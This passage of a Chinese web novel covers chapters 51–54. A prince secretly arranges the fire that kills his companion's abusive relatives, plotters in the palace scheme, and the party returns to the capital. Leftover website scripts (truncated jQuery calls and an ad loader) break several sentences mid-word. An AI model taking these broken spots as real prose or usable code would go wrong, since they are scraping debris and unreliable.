他话说的委婉,却也隐隐带着些规劝的意思。 “你是个什么东西,居然还敢教训我。”老太太烦了个白眼,“而且我儿子好得很,谁说他生活不能自理的。” “你!”那男人闻言,终于明白自己所有的劝说都是徒劳无功,根本不会让眼前的人有丝毫的警醒。想通了这一点之后,他也不再说话,直接甩袖离开了。 见所有人都离开后,老太太终于得意地一笑,像是打了胜仗一般,转头正想和自己的小儿子分享这个好消息,却突然脸色一变。不知何时,原本属于小儿子的声音突然消失不见。 “儿啊,你怎么了?”老太太一边说着,一边赶紧回屋查看情况。 结果她这一进屋,顿时就感觉霎时间全身的血液都涌向大脑,冲击得她眼前一黑,差点没站稳脚步摔倒下去。只见原本应该在屋内的人,不知何时居然已经不见了踪影。她被吓了一跳,也顾不得其他了,急忙将屋子的里里外外,所有能呆人的地方都翻找了一遍,但结果却都是空无一人。 她的小儿子已经不在屋子里了。 意识到这一点的老太太,心中顿时被恐惧席卷,想着小儿子会在什么地方。她那时候跟其他人发生争执,追着他们出了屋子,并没有注意到自己小儿子的动向。不过恐怕也正是在那个时候,她的小儿子受到了什么刺激,直接趁着他们所有人都没有注意到的时候,偷偷溜出了家门。 在家中的时候,她还能知道他大概藏在什么位置,可是一旦出了小镇,她就没法那么轻松地找到人了。一来她没有确切的位置,很难判断具体的方位,只能一点点地找过去,可这二来,她腿脚没有正值壮年的小儿子灵活,她在移动的时候,小儿子也同样在移动。就算他们走的是一个方向,她也不可能追得上对方。 而且她担心的是,小镇上有一片湖,小儿子什么也不懂,如果他因为好玩而跌进水里,他也根本不会呼救。 还有就是,如果小儿子走出了青萍镇,她又该如何找到人? 老太太越想心里越不是底,她已经不能再承受失去亲人的代价了。原本的一家人,转眼就只剩下她和她的小儿子,她不想最后只剩下她一个人。 想到这,老太太又想到刚刚最后那个人的话,现在想来他那句话就像是炫耀一样。她心中一边祈祷着自己的小儿子没事,一边已经盘算着,等她找回自己的小儿子之后,一定要去这个男人家闹一闹,让他以后再不敢随便胡乱说话。 不过眼下当务之急,还是找回自己的小儿子。 这样想着,老太太拿了自己之前放在门口的木棍,向着屋外走去。 小镇上的人又重新坐回到了他们原先的位置,只不过因为发生了方才的那些事,他们也没心思再说什么了。这种膈应的感 () { $(''.inform'').remove(); $(''#content'').append('' 觉,让他们所有人心中都有些不是滋味,沉默一时在人群中蔓延。 而这种诡异的气氛,是被从不远处走来的一道身影打破的。那张脸很熟悉,毕竟前不久才刚见过。老太太从他们来时的方向走来,而且还时隔不久,众人以为她是专门找过来又要吵架的,脸色顿时就变了。 他们正想着这人真是和狗皮膏药一样,怎么这么难甩掉,结果就见那老太太正神色焦急地想过来。可能是因为刚吵过架,也知道不该说什么,所以她很快就越过他们,继续朝前走了。 “这是怎么了?” “这么着急,难道是儿子丢了?”另一人猜测道。 听到这个猜测,众人心中都难得没有感到可怜和紧张,而是颇为恶毒地想到了两个字:活该。如果是别家的孩子不见了,他们此时已经自发地帮忙寻找,可是今天所有人都没有动作,就像是没有看见似的,继续自顾自地做着自己的事情。 不知过了多久,那老太太又找了回来,她像是真的走投无路了似的,一脸不情愿地走向了这些人,打算和他们打听自己小儿子的下落。 然而意识到她想要做什么的众人,顿时就警惕了起来,他们不自觉地稍稍坐直了身体,假装三三两两地聚在一起聊着天,还有一些没插上话的,不是望天就是望地,更有甚者直接蹲下身来,假装自己坐着的板凳坏了,蹲下来准备临时修补。反正没有一个人将目光落到老太太的身上,更别提与她搭话或者始于援手了。 老太太注意到这些人的动作,脚步一顿,也不再自讨没趣,直接掉头就走。临走之前,她还对着人群啐了一口。众人自然也看到了她的动作,丝毫没有要咽下这口气的打算,直接对着老太太的背影“切”了一声。 没有问到消息的老太太,只能将自己的寻找范围扩大,同时在心中祈祷着,自己的小儿子一定要平安无事。 可是她的祈祷似乎并没有起到太大作用,直到太阳西沉,明月初升,她也没有找到小儿子哪怕一片衣角。她的心情似乎已经麻木了,巨大的哀恸从心底漫延,让她感到一阵彷徨。 她只能往回走,幻想着自己的小儿子已经自己回家去了。她希望自己的这一个愿望可以被实现,无论是什么代价,只要回去了就好。 路上的时候,她注意到白天的那群人已经不在了,他们都各自回家,甚至整个小镇都已经没有人了。 这好像是很早之前的时候,因为她的小儿子经常在夜里偷跑出来吓人,所以久而久之大家就不敢再在夜晚出门了。她走在空旷的小路上,心底突然开始没来由地一阵慌乱。 就在这时,她不经意抬头一看,发现前方的位置,居然浓烟滚滚,而蕴藏在暗里的火也越烧越旺。她在原地停顿了几秒才突然意识到,被火正那么烧着的,是她的家。 51. 谜团 她顿时慌了神,一边大喊着“走水了”,一边快速地朝着家的方向快步走去。 只是她和大家的住屋隔着一段距离,她的声音也早没年轻时那般中气十足,所以几乎没有人能够听到她的叫喊。 老太太已经冲到了家门前,她看着被火焰吞噬的房屋,一股悲凉自心头升起。她的小儿子没找到,如今房子也被烧了,如果她小儿子突然走回来,没看到这间熟悉的屋子,找不到家不愿意再回来了该怎么办? 这个时候,火已经越烧越旺,几乎将整座房屋都烧了起来,即使想救也救不回来了。老太太颓然地瘫倒在地,看着那火光冲天,瞳孔里是跳动的橙红色。 她不知道自己在想什么,只那么呆呆地看着大火,没有动作。 就在这时,她好像听到几声惨叫声,声音不大,但却熟悉。 是她小儿子的声音。 老太太立马打起精神,原本颓然的情绪立即被惊喜取代,她觉得是她的祈祷终于起了作用。她奋力爬起身,眼睛四下搜寻,却一无所获。 “儿啊,是你吗?”老太太不得不出声呼唤,想要得到回应。 接着又是几声微弱的回声,老太太终于可以确定,是她的小儿子。于是她连忙问:“你在哪?你先出来。” 可是,并没有人现身。 老太太没法,只能继续自己慢慢寻找,可是当她把周围寻找了个遍,依旧没有找到自己的小儿子时,她的视线突然就落到了那着火的房屋内。 然后,下一秒,她就看到了令自己血液凝固的一幕。 只见她的小儿子,不知何时回到的家中,此刻正站在大火里,无措地静立着。火灼伤着皮肤,让他觉得痛苦,可他却完全不知道躲避,任由那火烧着自己。 “啊——”老太太大叫一声,想要去就自己的小儿子,可是那火已经挡住了她的去路,令她不得前行半步。 她有些后悔自己没有早点回来,那样的话,她或许还能挽救点什么。 她知道自己此刻想要慢慢引导小儿子出来已经不切实际,时间不允许,而且她也无法判断他到底有没有烧伤。她顾不得想许多,却又只能眼睁睁地看着自己的小儿子慢慢不再喊叫出声,他的表情在火焰中显得极为痛苦,令她也不自觉地感到揪心的痛。 当她意识到,自己的小儿子即将要没了声息,彻底的死去时,她不知道哪里来的勇气,直接撇下自己手中的木棍,大步冲进了火里。 “儿啊,娘陪你一起!” 火一瞬间燎向她的全身,痛意席卷而来,她知道自己的小儿子已经被烧了很久,他的身上几乎没有一块好皮。老太太蹒跚着走到小儿子的身边,他已经彻底不再有动静,只有烈火仍旧在烧灼着他身体的每一寸。 而就在此刻,屋子终于承受不住火的侵蚀,顷刻间坍塌下来,将一切都掩埋在火烧过的废墟里。 大火仍在烧着,像是这场黑夜里唯一的光亮。 不知过去了多久,烧毁的屋前一棵树后,走出一个人来。他在树下看着这片大火一直烧,一直烧,直到确定不会再有任何意外发生,才又悄无声息地转身离开,像他来时一样。 没有人知道他的来去,除了这场无声的大火。 这场大火,是在它快要烧尽时,才终于被人给发现的。原因是一个人睡醒后起夜,刚好看到了那冲天的浓烟,于是赶忙叫了周围的人,一起赶去救火。结果到了地方,他们才发现被烧的是姜家的屋子,而且那屋子已经烧得差不多了,恐怕再等会火就要自动熄了。 “这火居然就只烧到他们一家,它周围的那些空屋子居然都没事。”不知道是谁说了这么一句,大家才注意到,被烧的似乎真的只有姜家,并且那火势丝毫没有要烧到周围的意思。 “应该是今天没有风吧,还好影响不大。”有人这样说道。 “这……我记得今天白天的时候,他们不是不在家吗?所以这是房子被烧了,人没事?” 就在大家都感慨这两人命大的时候,突然有一个人说道:“不是的。” 大家望过去,发现说话的那人捡起了一根木棍,对着众人说道:“这是姜家老太太时常带的那根,既然木棍在这里,那就证明她在这里出现过。” 而平时老太太丢弃木棍,必定都是与她小儿子有关。 众人的心中突然升起了一种难以置信的念头,他们的目光慢慢转移向了那堆已经烧成灰烬的废墟。 “你们说,有没有可能是她家小儿子偷偷跑出去,然后老太太出去找,结果那儿子又一个人不知道怎么找回来了,然后没找到人,又不小心引了火,把屋子烧了。老太太回来的时候,就想救她的小儿子,结果却没能把人救出去,反而是自己和他一起被埋在了火里。”有一个人推测道。 这虽然只是猜测,但又并不完全没道理,大家只是唏嘘过一阵之后,也没有过多的纠结他们的死因。况且这都已经被烧成灰烬,想要发现什么也很难,况且姜家的消失,对整个青萍镇来说,都是大家心底所喜闻乐见的。 他们不想当恶人,可是看到他们是这个下场,大家也都觉得解气,认为这是恶人有恶报。 至于这火是如何起的,所有的谜团,没有人会想要去细想。 · 一夜过去,睡梦中的众人也再次醒来,一众人收拾好东西,便准备再次出发。就在大家准备出发的时候,突然听到远处有一人骑马而来,看装束似乎也是他们的人。 沈南寂见到来人,抬手示意大家先等等那人,姜念念看到时,有些疑惑地想着昨天有人掉队了吗?还是昨天夜里沈南寂派人出去执行任务了? 正想着的时候,那人已经行近,他下马来到沈南寂的马车边,垂首道:“殿下。” “怎么样了?”沈南寂问他。 那人点点头,并没有多说什么。 不过沈南寂却自然明白他的意思,知道一切顺利后,他淡淡地冲那人 () { $(''.inform'').remove(); $(''#content'').append('' 道:“归队吧。” “是。”那人应了一声,随后就转身离去,再次上马去到了队伍中。 等到一切准备就绪,所有人便出发返回京城。姜念念感觉有些奇怪,恰好今天段云澜是跟着队伍一起走的,所以马车内也就只有她和沈南寂两人,于是她也没拐弯抹角,若是直截了当地问沈南寂:“刚刚那个人,他去做什么了,怎么这个时候才回来?” 沈南寂没有立即回答,他只是看着姜念念,似乎是轻笑了一下,“姐姐很好奇吗?” 姜念念愣了一下,随即想到了什么,于是连忙否认道:“也不是很好奇,就是有些奇怪,他是什么时候走的,我居然不知道。如果不能说的话,那我就不问了。” “也不是什么不能说的。”沈南寂打断了姜念念的话,顿了顿便又对姜念念解释道,“我昨天就派他出去了,让他去前方探了路。毕竟虽然表面上我们还是安全的,可难保不会有暗箭伤人的戏码。不过刚刚那个人回来也说了,一切安全。” “原来是这样。”姜念念恍然大悟地点点头,也就没再追问。 她的视线转向马车外,看着外面的风景一点点倒退。于是她也就没有注意到,就在她转过头之后,沈南寂的嘴角慢慢溢出的浅淡笑意,只不过那双眸子里,却泛着沉重的寒意,像是在算计着什么。 他知道姜念念心软,做事向来不会赶尽杀绝,所以为了不让她感到为难和害怕,他便也一直都不会在她面前表露出什么。不做过多的事情,不过分插手她的决定,甚至还可以心平气和地和他们聊几句。不过曾经那样对待她的人,还是不要留下的好,免得日后想起也是心烦——反正他们今后也不会有再见面的机会了,所以就算这个人消失在了这个世界上,她也不会有所察觉。 其实沈南寂早就想要让这些人消失了,只不过他担心姜念念有一天会突发奇想,想要回来看看过去的家人,所以便也一直忍着没有动手。而如今他一手促成了这次的见面,也算是提前将这场见面进行下去,然后再提前让这些人消失。 说到底,想让他们消失,比让京城里的人消失可简单多了。他只需要让人稍加引导,一个什么都不懂的傻子,自己就会挖坑把自己埋了,到那时别人也只会觉得是他自己失手害了自己。 一想到讨人厌的人终于不存在了,沈南寂的嘴角就止不住地微微上扬。不过等到姜念念重新转回来时,他已经收敛了笑意,变得和平时别无二致了。 姜念念转回头后,打量了一下沈南寂的神色,没说话。反倒是沈南寂看出了她的困惑,于是主动问道:“怎么了?” 姜念念迟疑了一下,还是摇了摇头。她刚刚总觉得沈南寂在盯着她看,而且还让她感觉到一丝危险的气息。不是冲着自己的,但也让她寒毛直竖。不过等她扭头去看时,好像也根本没什么变化,对方依旧还是之前那副平淡的神情。 可能是自己的错觉吧。姜念念这样想着,也就没有再多加怀疑。 52. 密信 此时远在京城的皇宫,其中某一座富丽堂皇的宫殿中,有一男一女两人相对而坐。 那男人五官端正,却带着一股莫名的阴狠,所以即便他生得还算不错,却也难以让人心生喜爱。不过他纵使这样,他身上不菲的打扮,也足够说明他身份的显贵。这样的身份,即便没有令人相好的相貌,那也已经不是什么要紧事了。 男人对面坐着的,是一名比他年轻些的女子。女子身穿一身华服,衬得她本人也高高在上,她面容张扬艳丽,全然没有寻常女子的那般畏畏缩缩。她高贵而不容人忽视,只消在那一坐,就可以轻而易举地令所有人趋之若鹜。 此刻那女人慢条斯理地给自己倒了杯茶,滚烫的热水浇在新鲜的茶叶上,一股清香扑面而来。 女人没抬头看对面那男人,似随口问道:“听说,他们要回来了?” “是的,不过我又接到消息,说是他们在路上似乎并不急着回来复命,反而还在路上因为一些小事,一直耽搁路程。”男人似乎是有些不解,“他这是想做什么?” “因为什么小事?”女人颇为感兴趣地问道。 “很多。”男人举例道,“比如突然路过一个地方,进了一家酒楼,觉得他家的饭菜口味很合口味,然后就要留在那个地方几日。” “遇到自己喜欢的东西,想要多体验一番,无可厚非。”女人笑了笑,“毕竟,以后也不知道还能不能吃到了。” 男人很显然不是这样想的,他没有女人那般好的心态,都这个时候了还能这样安慰自己。他有些焦躁地搓了搓手,神色有些恍然,他似乎想到了什么,突然凑近了女人压低了声音问道:“你说,他是不是察觉到了什么,所以才会突然这么反常?” 说完之后,他又像是自我否认一样,又猛地重新坐了回去,自言自语般地说道:“不可能啊,明明之前还好好的,回来的时候也一切正常……到底哪里出了问题……” 听着他一直源源不断地念叨,女人大概也是烦了,她终于将视线短暂地放到了男人身上,“冷静,你这样会显得很失身份,我还不想让人知道,我认识一个没有礼数的人。” 男人听了女人的话也不气恼,他停下了自己毫无意义的念叨,转而又问女人,“你就完全不担心,他们会对我们不利?” “怕什么?”女人朝他翻了个白眼,随后又像想到了什么,好整以暇道,“你有什么好怕的?说起来之前你还时常和他们接近,我都要以为你和他们是一伙的了。这次要是败了,你也可以直接投奔他们,没准他还能看在往日情分上留你一命呢。” “你这话什么意思。”男人很明显是不满女人的话,他皱了皱眉,“我有自己的打算,不用你来一直提醒我。” “既然已经选择了自己要走的路,那就不要三心二意。三心二意的墙头草,最后的代价都是被人拔掉,然后烧成灰烬。”女人的唇角勾起一抹弧度,“我们两个现在是一条绳上的蚂蚱,少想些有的没的。况且已经到了这个地步,成了你我就是最后的赢家,败了大不了就是一死,我都没慌,你慌什么?” 听到女人的反问,男人到底是泄了气,“我也不是慌,我就是觉得,这事肯定没我们想的那么简单。他之前明明一切都正常,可偏偏在这个节骨眼上出了问题……如果他真的知晓了消息,那必定是宫里有人通风报信,而倘若是我们的人,那该如何是好?” “处理一个叛徒,难道还需要我教你不成?”女人睨了他一眼,道,“再者,我也不觉得他是知晓了什么。虽然他们的行程缓慢,可也是在往回京的路上走,按照他的性格来说,如果真的察觉或是探听到了,一定会想办法暗中离开的。他未必不能赶得上那个时间,我们还可以等,但有些人可未必坐的住。” “你说的……是那位?”男人的脸色微微一变,低声问道。 女人微微挑眉,不置可否。 男人蹙眉想了一会,突然就像是明白了过来一样,原本有些焦急的神色,也重新恢复成一开始那有些阴沉的样子。他沉着眸子想了一会,最后像是茅塞顿开一般,看着女人说道:“你说的有道理,现在我们还在暗处,而最该担心的,也该是他才对。” “所以,有些时候,我们也可以推波助澜,逼他一把。”女人的唇角缓缓勾起一抹笑,“就当是我,送给他的礼物好了。” “行。”男人的神色舒展,颇为自然地应道。 整个室内安静了片刻后,女人又像是想起了什么,她再次抬眼看向了男人,“好像还有一个漏网之鱼。” “是那个……”男人也想起来。 女人顿了一下,随后又重新垂下眼睛,“算了,好像也不是什么大事,他影响不到我们的计划,现在动手反而会暴露我们。等到日后事成了,再杀也不迟。” 男人本来想问,既然事情都成了,那还有杀的必要吗?随便打发到什么地方,让他永世不得返回京城,那不是也构不成威胁了。 然而还没等他问出口,女人就已经从他那沉默的眼神里看出了端倪,她低骂了一句“蠢货”,随后又道:“难道你没听说过斩草要除根吗?你要是在话本里,一定是被自己给害死的。就算他现在看起来人微言轻,可之后他若是在外集结兵马,成了第二个慕家怎么办?到时他可比慕家名正言顺多了。” “……”男人默然,终于是没再继续问出什么没有意义的话了。 · 接下来的一路,姜念念一行人行进的速度都是不紧不慢,并不刻意地选择立即回到京城,反倒还有些延缓时间的意思。因此,他们在路上时,偶尔经过一些小镇,也会停下来游玩几天。 姜念念有时不禁会想,如果不是此刻条件不允许,或许他们还会直接进 () { $(''.inform'').remove(); $(''#content'').append('' 行一场踏青活动。 不过这样的日子,并没有持续太久,因为半月之后,他们收到了来自京城的信件,是在催促他们尽快回京的。但奇怪的是,这封信上,却并没有落款。 这封信是在夜里送到的,当时他们一行人正在客栈,其他人都已入睡,唯独沈南寂和段云澜还在一个房中。 他们面前摆着的,正是那封已经被拆开来的密信。 “这是陛下的信?”段云澜看着那信,有些不太确定地看向沈南寂,问道。 沈南寂手中捏着那看似没有署名的信件,并未应他的话,像是在思考着什么。良久之后,他才道:“不会是他。” 段云澜一愣,“你就这么肯定?” 沈南寂点点头,“眼下京中情况未明,我虽然不能完全确定,但也有些猜测,这么着急催促我们回去,必然是另有盘算。如果是陛下的话……他不会直接表现得这么急切。无论怎样,我们这次回京之后,必然不会太轻松。” 段云澜听后,左右看了看,确定没有人偷听之后,才悄声问道:“是京中出事了?” 沈南寂默不作声地点头。 段云澜有些惊讶,不过也没有细问,沈南寂是怎么知道的,只是问道:“那你打算怎么办?如果我们现在回去,会不会被人盯上?” 听到段云澜的话,沈南寂意味不明地笑了笑,“那是当然。” “那我们为什么不趁着还没回京,直接找个理由离开?”段云澜有些不解地道。 “我们贸然选择离开,反而会打草惊蛇,暴露自己,既然如此,那倒不如将计就计,他们想让我回去,我就让他们如意。只不过回去之后会发生什么,那就不是他们能决定的了。”沈南寂道,“况且,我也有些事,必须要回京处理。” “是慕家的事?”段云澜猜测着道。 沈南寂点点头,应道:“不错。” 段云澜见沈南寂已经决定了,也知道不可能再改变,于是他便道:“那你现在是怎么打算的?一直拖延时间?” “我会在一个合适的时间回去,确保计划的顺利进行。”沈南寂道。 段云澜突然笑了笑,“宫中的那些人千算万算,估计怎么也不会想到,你早就已经对他们有所防范了吧。” 沈南寂微微垂眸,淡淡地道:“只是抢占了一些先机罢了,毕竟谁又能未卜先知呢……” 段云澜没太明白沈南寂这话的意思,但是没等他再追问,沈南寂就已经起身走到了烛台边。他似是不想再多交谈,抬手将那封信举至烛火上,任由火舌燎到信上,然后在顷刻间燃烧起来。 火焰烧得很快,不一会儿便将信纸烧尽。沈南寂手一松,信纸落到地上,于是就连灰烬也摔得四分五裂。 沈南寂垂眸看着,随后像是自言自语般地说道:“这一切,终于就快要结束了。” 53. 进京 “最近你和家人有联络吗?”沈南寂看着信纸彻底化为灰烬后,这才收回了目光。他转身往回走,同时看向段云澜,然后换了个话题问道。 段云澜不知道沈南寂为什么会突然问起自己的家人,不过疑惑归疑惑,他还是点了点头道:“前几天刚和他们有过书信往来,不过只是简单的问候。” “我并不是要问你和他们说了什么,我们既然是一路人,那我自然是相信你的。”沈南寂摇了摇头,对段云澜说道,“我只是想问问,最近段将军身体还好吗?” “你是问我祖父?”段云澜有些意外,不过很快还是答道,“他老人家一切都好。” 沈南寂微微颔首,这才说出了自己的目的,“等回京后,有空的话,我去将军府拜访一下老将军吧。” 段云澜知道,沈南寂现在和他说这件事,就是在提前告知自己,等到之后他们也不至于毫无准备。不过段云澜还是有些好奇,“你要做什么?” 沈南寂迟疑了一下,终究还是答道:“我想请段家,帮个忙。” “什么忙你直接和我说,为什么还要……”段云澜话说到一半,突然想到了什么,他微微睁大了眼睛,随后一脸难以置信地看向沈南寂,“你不会是……” 没等段云澜说完,沈南寂就不置可否地点点头,透过段云澜的表情,他已经预料到段云澜是已经想明白了。 见他这样,段云澜也只好闭嘴,片刻后他才收起了自己震惊的表情,对沈南寂说道:“好,那我回去之后,就和祖父说一声,让他做准备。” 沈南寂略一点头,“麻烦了。” “小事。”段云澜摆摆手,此时已经恢复了以往的随性,“你替段家解决了一个大麻烦,这点小忙只要你开口,我们自然是要帮的。不瞒你说,我祖父他们早就看慕家他们不顺眼了,就是苦于一直没有机会制裁他们。” 沈南寂微微挑眉,“这是可以说的?” “这里又没有外人。”段云澜毫不在意。 沈南寂笑了笑,没再说话。 正如所有人所料想的一样,即便姜念念他们再如何放缓脚步,只要他们还在朝着京城的方向,就一定会到达京城。 而在这个时候,即使沈南寂没有早早传信告知,宫中那些关注着他们动向的人,也已经对沈南寂等人的行程了如指掌。 段云澜望着不远处的一棵树,那棵树上枝叶生得乱七八糟,毫无美感,密集交错的枝条犹如一张巨大的网,将遮不遮。 “这已经是第六批人了吧。”段云澜托着下巴,百无聊赖地开口道。 姜念念顺着段云澜的视线望去,乍眼望过去,那棵树上并无一人,可其实在那些枝条里,恐怕还藏着不少人。 自打这几日他们愈发接近京城,这些明里暗里观察他们行踪的,来了又去,都是京中各个势力派来的人。 姜念念有些狐疑地问:“那些树枝看着还挺扎人的,他们直接躲在里面,不会觉得难受吗?” 听到姜念念的问题,段云澜“噗嗤”一声笑出来,随即他有些夸张地说道:“你居然在关心这个?他们可是在跟踪我们,打探着我们的动向诶,你为什么不关心一下我们?” “我只是有些好奇。”姜念念哭笑不得地说道。 沈南寂在一旁听了一会两人的对话后,这才出声打断他们:“等回了京城后,你们先去将军府。” 两人闻言,注意力立马就转移向了沈南寂,段云澜率先问道:“直接回将军府?我不用先进宫复命吗?” 姜念念也同样有些不解地问道:“我也去将军府?我不和你一起回宫吗?” 沈南寂摇了摇头,说者的声音一如往常,可是听者却已经惊出了一身冷汗,“如今陛下病重,他不会召见你们的,你们尽管回去便是。若他真要召见,再进宫也不迟……不过我想,他应该也不会有那个精力,去应付这些事了。” “你是说……陛下病重?!”段云澜瞪大了眼睛,虽然心底早已震惊地无以复加,可他还是记着让自己压低声音,“这是真的?你是听谁说的?” 沈南寂却并未回答段云澜的这个问题,他只是道:“想知道,自然就知道了。” 段云澜知道,沈南寂这是隐瞒了一些很重要的事情,他虽然不会埋怨沈南寂对自己的隐瞒,可他还是忍不住担心他的安危:“你是想要一个人回宫?可是现在宫中情况不明,这样直接回去,很可能会被他们抓住机会,然后落入不利的局面。” “那也未必。”沈南寂摇了摇头,“我会注意他们的动向,你们只需要保证自己的安全即可。” “就按照他的意思吧。”姜念念接过沈南寂的话,说完后她又看向沈南寂,似叮嘱般地说道,“你自己小心。” 沈南寂微微颔首,冲着姜念念笑了笑,“姐姐放心,那些人还不能把我怎么样。” 段云澜见状,也只得无奈同意。 几日过后,在一众暗卫和探子的“监视”下,一行人还是平安回到了京城。 在进城门之前,沈南寂就从马车上下来,然后翻身上了一名士兵牵过来的马。 他们本该在这里就分道扬镳,可是沈南寂却并没有直接离开,而是驱使着马走到马车边,然后敲了敲车沿。 下一刻,姜念念探头出来。看到自己想要见到的人,沈南寂的神情不自觉地放缓,他顿了顿,像是在想着什么,可最终他也只是对姜念念说道:“姐姐先在将军府呆几天,等宫中的事情结束了,我就接你回来。” 即便姜念念知道,沈南寂不可能真的有事,可她也还是有些担忧,“一定要小心……我会等你来的。” 沈南寂笑了笑,“知道了。” 可能像是怕姜念念担心,沈南寂略微顿了一下,又压低了声音,用只有他们两个人才能听到的声音说道:“我告诉姐姐一个秘密,其实那些人在做什么,我全都知道,也早就有所防备,所以不用为我担心。我会拿回所有我应得到的东西,这是他们欠我的。” 说完之后,沈南寂没再等姜念念的反应, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直起身朝她挥了挥手,然后便调转了方向,径直朝着城门的方向行去。 “我们也回去吧。”段云澜见到沈南寂离开后,他没追问姜念念刚刚在最后的时候,沈南寂对她都说了什么,只是出声对马车外驾车的那人说道。 沈南寂是独自一人离去的,所以那些原本队伍里的士兵,也都跟随着姜念念他们。这些人是沈南寂留下来保护他们的,也要同他们一起回将军府。 队伍前进的速度并不快,可能是这些天见过太过藏在暗处的探子,所以姜念念还是习惯性地四下大量了一番。她已经养成了一双看破任何伪装的眼睛,可意外的是今天周围居然没有任何异常。 不过仔细想想,那些人又不是为了保证他们的安全,甚至还希望其他的同行可以直接在路上结果了他们。眼下到了京城,再跟着自然就没必要了。 马车进了城,周遭一下子就变得热闹了起来。原先他们在其他小镇的街市上闲逛过,那里虽然也热闹,可到底还是没有京城的人多。 京城人多,房屋也更恢宏,就连街道上卖的稀奇古怪的小玩意也都更多。不断的叫嚷吆喝声此起彼伏,明明宫中已经危机四伏,可这些人普通人却仍旧在过着自己最平凡的生活,对那些危险一无所知。 穿过长长的街市,又拐了几个弯,鼎沸的人声慢慢褪去,四周又重新恢复了宁静,空旷的街道上只能听见他们一行人的马蹄声和车轱辘转动的声响。 “段小将军,姜姑娘,到了。”片刻后,马车外有人出声提醒道。 而此时,马车也停了下来。 姜念念这才回过神来。 段云澜闻言率先下去,姜念念紧随其后。而在他们面前的,正是将军府,此时将军府的门前,站着一众丫鬟小厮,而最前面的,则是一位两鬓斑白的老者。虽是老者,可他的目光却锐利无比,落在谁的身上,都会让人下意识地肃然起敬。 姜念念猜测,这人应当就是段云澜的祖父,将军府中的那位威名赫赫的老将军。 段云澜已经上前和他们打招呼了,姜念念并没有立即上前,给了他们一家人团聚的时间。 到底是自己从小养到大的孙子,段右宏对着段云澜嘘寒问暖了一番后,这才将注意力放到了其他地方。他瞥见人群前站定的姜念念,一瞬间有些迷惑,像是脑海里有无数个念头闪过,可又不太确定:“这位姑娘是……” 段云澜一见到段右宏这副表情,吓得连忙喊道:“不是您想的那样!” 他有些庆幸,此时的沈南寂并不在一旁,否则听到这样的话,指不定又要看他不顺眼了。 他先是朝着姜念念招手,示意她上前,随后赶忙将沈南寂和她的关系,以及要暂住将军府的事情,一股脑地说给段右宏听。 虽然仓促,且段云澜解释的语句不通,不过段右宏还是勉强提取到了关键信息:是五殿下的人,要暂住将军府,之后五殿下要来将军府。 于是等人走近后,段右宏的神情也变得恭敬了起来:“姜姑娘。” 54. 将军 姜念念并不知道方才所发生的一系列事情,眼下对于段右宏的态度,她有些震惊,但更多的还是疑惑。 不过虽然不明就里,姜念念也还是照常行了礼,“段老将军。” 段右宏听到姜念念的称呼,还是微微有些吃惊,并没有人对姜念念介绍过自己,没想到姜念念居然也能精准地叫出自己,“姜姑娘认识老夫?” 姜念念闻言微微一笑,“没见过,但听说过一些老将军的事迹,所以我也一直都很期待与老将军的见面。” “原来是这样。”段右宏听到姜念念的话后,脸上的神情不知是放松还是高兴,他没细问姜念念的身份,只是热情地招呼道,“姜姑娘既然来了,那就是我们将军府上的客人,这些天你就暂且安心住着,有什么需要也尽管跟我或者小澜提,不要和我们客气。” 姜念念应下,随后又向段右宏道谢。 段右宏见了,又道:“将军府上没有那么多规矩,姜姑娘也不用拘束。” 他说着就要招呼姜念念进屋,随即想到身后还有一众的士兵,于是便又转头冲段云澜说道:“既然是从边关回来了,那应该也学到了点东西,你就先带着这些人去军营。正好你爹娘这个时候也都在那,让他们带你熟悉熟悉。” 将军府几代从军,不仅是男丁,就是府中上下女眷,也都会些武功拳脚。此时段云澜听到段右宏的话,是有些抗拒的,可是迫于段右宏的威严,他也不敢反抗,只得乖乖应从。 等到段云澜带着其他士兵离开,段右宏才一脸热情地拉着姜念念进了将军府,“家里的客房一直都是收拾好的,里面的东西也都布置齐全,可以直接住下,要是之后还缺什么,姜姑娘就直接告诉我。” “好……”姜念念应了一声,没有多说什么。段右宏对她客客气气,她猜到应当也有一部分是因为沈南寂的缘故。 就在她想着要不要再说些其他什么的时候,突然听到身后又是一阵风风火火的跑动声。她有些狐疑地想,眼下将军府还有谁回来,结果下一秒就听到段右宏的声音。 “你怎么又回来了?” 段云澜听到自己祖父这略微有些嫌弃的声音,心道他这才刚回来没多久呢,但嘴上还是老老实实地回答道:“我马上就走!我刚刚忘记说了,殿下让我转告您,他之后会来拜访您?” 段右宏知道这个殿下是指沈南寂,他的脸色微变,“有说是什么事吗?” 段云澜顿了顿,他瞥了一眼姜念念,想到沈南寂当初也并没有直接明说,索性也摇了摇头,道:“不知道。” 段右宏想了想,随即摆摆手道:“行了知道了,我会让人准备的,你走吧。” 段云澜见状,又再次离开了将军府,朝着军营的方向走去。 段右宏则是先招来下人,对他们叮嘱了一番事宜后,这才转头看向了姜念念,“刚刚处理了一些事,怠慢了姜姑娘,还希望姜姑娘不要介怀。” “没关系。”姜念念摇了摇头,说道,“如果老将军有事的话,可以先去忙。” “没事没事,已经忙完了。”段右宏连连摆手,随即又道,“那姜姑娘现在是想直接回屋休息,还是想先在将军府中随意逛逛,熟悉一下环境?” 姜念念想了想,还是说道:“先逛逛吧,我之后可能还要住一段时间,提前熟悉一下环境,也不用到时候找不着方向了。” “姜姑娘放心,我会安排下人来伺候你,不会让你迷路的。”段右宏笑了笑,说道,“走吧,我带你转转,顺便也和你说说话。” 当姜念念知道时段右宏亲自领自己认路的时候,是着实吓了一跳的,她原本想要拒绝的话,却在听到段右宏的最后一句话时顿住。她不知道段右宏究竟是因为想要前者才想出了这样一个理由,还是他真的想要和自己聊些什么,才会突发奇想要带她走走。 不过这两者的因果关系虽然不同,可最后的结果却是殊途同归,所以姜念念也不过多追问。 段右宏让人将姜念念的行李送到了她的房中,随后自己带着她沿将军府的回廊一直走。两人走的速度并不快,看起来更像是想要借此谈些重要的话题。 “姜姑娘是从宫中出来的,一直也跟随在五殿下身边,我这府上也都是信得过的人,有些事情我也不必向姜姑娘隐瞒。”段右宏正色道,“想必姜姑娘应当也是有所察觉,如今的京城,也已经是今非昔比了。” 姜念念点头,“听说是陛下病重,所以……” 段右宏不置可否,“陛下这病来得蹊跷,不过此时没有谁会去关心,陛下的病究竟是怎么来的。他们想要的,无非是那个位置。” 姜念念默然,段右宏所说的,她自然也明白。沈明承的病未必就真的是病,可对于宫中那些觊觎着皇位的人,却是一个机会。 